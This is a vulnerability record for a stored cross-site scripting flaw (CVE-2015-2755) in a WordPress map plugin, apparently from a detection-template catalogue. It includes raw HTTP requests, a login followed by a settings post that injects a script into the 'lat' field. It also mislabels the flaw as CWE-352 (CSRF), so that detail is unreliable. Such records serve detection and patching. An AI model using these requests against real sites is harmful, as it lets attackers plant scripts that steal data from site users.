| Title | WordPress AB Google Map Travel <=3.4 - Stored Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability allows an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement. |
| Remediation | Update to the latest version of the AB Google Map Travel plugin (>=3.5) or apply the vendor-supplied patch to mitigate this vulnerability. |
| CVSS Score | 6.8 |
| EPSS Score | 0.00693 |
| CVE ID | CVE-2015-2755 |
| CWE ID | CWE-352 |
| Tags | packetstorm cve cve2015 xss wordpress wp-plugin wp ab-map authenticated ab_google_map_travel_project vuln |
WordPress AB Google Map Travel plugin through 3.4 contains multiple stored cross-site scripting vulnerabilities. The plugin allows an attacker to hijack the administrator authentication for requests via the (1) lat (Latitude), (2) long (Longitude), (3) map_width, (4) map_height, or (5) zoom (Map Zoom) parameters in the ab_map_options page to wp-admin/admin.php.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=jPM35L&pwd=erFjwH&wp-submit=Log+In
POST /wp-admin/admin.php?page=ab_map_options HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 258
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
lat=%22%3E+%3Cscript%3E%2B-%2B-1-%2B-%2Balert%28document.domain%29%3C%2Fscript%3E&long=76.26730&lang=en&map_width=500&map_height=300&zoom=7&day_less_five_fare=2&day_more_five_fare=1.5&less_five_fare=3&more_five_fare=2.5&curr_format=%24&submit=Update+Settings
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-2755.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-2755.pcap
N/AN/A